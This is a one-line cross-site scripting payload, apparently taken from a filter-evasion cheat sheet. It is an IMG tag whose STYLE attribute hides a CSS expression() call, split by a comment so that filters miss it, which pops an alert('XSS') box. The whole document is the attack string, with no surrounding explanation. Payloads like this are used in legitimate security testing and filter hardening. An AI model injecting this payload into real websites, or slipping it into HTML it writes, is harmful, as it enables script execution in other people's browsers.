<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">